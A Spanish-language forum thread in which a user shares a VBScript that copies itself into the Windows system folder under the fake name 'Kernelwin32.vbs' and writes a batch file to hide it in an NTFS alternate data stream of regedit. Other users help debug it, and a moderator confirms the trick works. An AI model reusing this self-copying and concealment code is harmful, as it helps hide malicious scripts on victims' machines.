Ocultacion stream ??¿ duda existencial

[chewarrior]

Si mi pregunta es de verdad existe porque yo ya lo intente todas las sintaxis posibles y siempre me dice que el archivo no esta asociado ??¿

consejos

soluciones ??


aqui les dejo el script

Código [Seleccionar] Expandir


' VB Script Document
Option Explicit
Dim objshell,objscript,Dir,escri,Estashay

Set objshell = createobject("wscript.shell") ' llamando objetos
Set objscript = CreateObject("Scripting.FileSystemObject")

Dir = objshell.expandenvironmentstrings("%Systemroot%")

Estashay = objscript.FileExists(Dir & "\Kernelwin32.vbs")

if Estashay = False Then

objscript.copyfile wscript.scriptfullname, Dir & "\Kernelwin32.vbs", false

End if

Estashay = objscript.FileExists(Dir & "\system.bat")

if Estashay = False Then

Set escri = objscript.CreateTextFile(Dir & "\system.bat",false)
escri.writeline("@echo off")
escri.writeline("type Kernelwin32.vbs>regedit:olo.vbs")
escri.writeline("start .\regedit:olo.vbs")
escri.writeline("Del /q /f Kernelwin32.vbs")
escri.writeline("exit")
escri.close
       
End if

objshell.Run Dir & "\system.bat"

MsgBox("VAYA IDIOTEZ")

MsgBox("codigo")



por cierto cuando no borro el kernelwin.vbs se ejecuta el codigo en un bucle infinito y no para de salirme msgbox ??¿ alguna opcion quit o exit para salir del script.

Gracias por adelantado

[xassiz_]

No se como hacer lo del ads en vbs, pero para salir

Código [Seleccionar] Expandir

wscript.quit

[chewarrior]

Gracias por la informacion ya aportastes mas que el mod de esta secion

[Novlucker]

Yo soy mod de esta sección, y no tenemos por que contestar todos los mensajes que se publican

Intenta poniendo rutas absolutas en el bat para el regedit.

Saludos

[leogtz]

Se refiere a mi, el niñito viene a publicar sus mensajes pero sin seguir las reglas.

Para la otra se los elimino a la primera, no habrá segundas oportunidades.

[chewarrior]

Te noto tenso con ese avatar, trankilo no hay porque ponerse nervioso, mi objetivo en este foro no es saltarme ninguna regla, es aprender y ayudar en lo que pueda con mis humildes conocimientos.

Intenta poniendo rutas absolutas en el bat para el regedit.

Ya lo intente y nada el mismo cuento

[Novlucker]

Tipo de datos de la partición?

Saludos

[chewarrior]

NTFS

lo prove ya en tres pc  una con xp sp2, otro xp sp3, y otro con vista home, todos con particiones ntfs no se tal vez esta forma de ocultar archivos ya no sirva, porque lo ley en un articulo vastante vieja de hack, tal vez solo sirva en home edition, o tal vez yo sea muy torpe 

[Novlucker]

Si que funciona, y lo acabo de hacer, así que no se donde este el problema, obviamente el problema te da en el ms-dos, así que revisa bien en que directorio se esta abriendo

Saludos

[chewarrior]

como lo as hecho desde el vbs o manual en que directrio con que tipo de archivo ??¿ me lo podias postear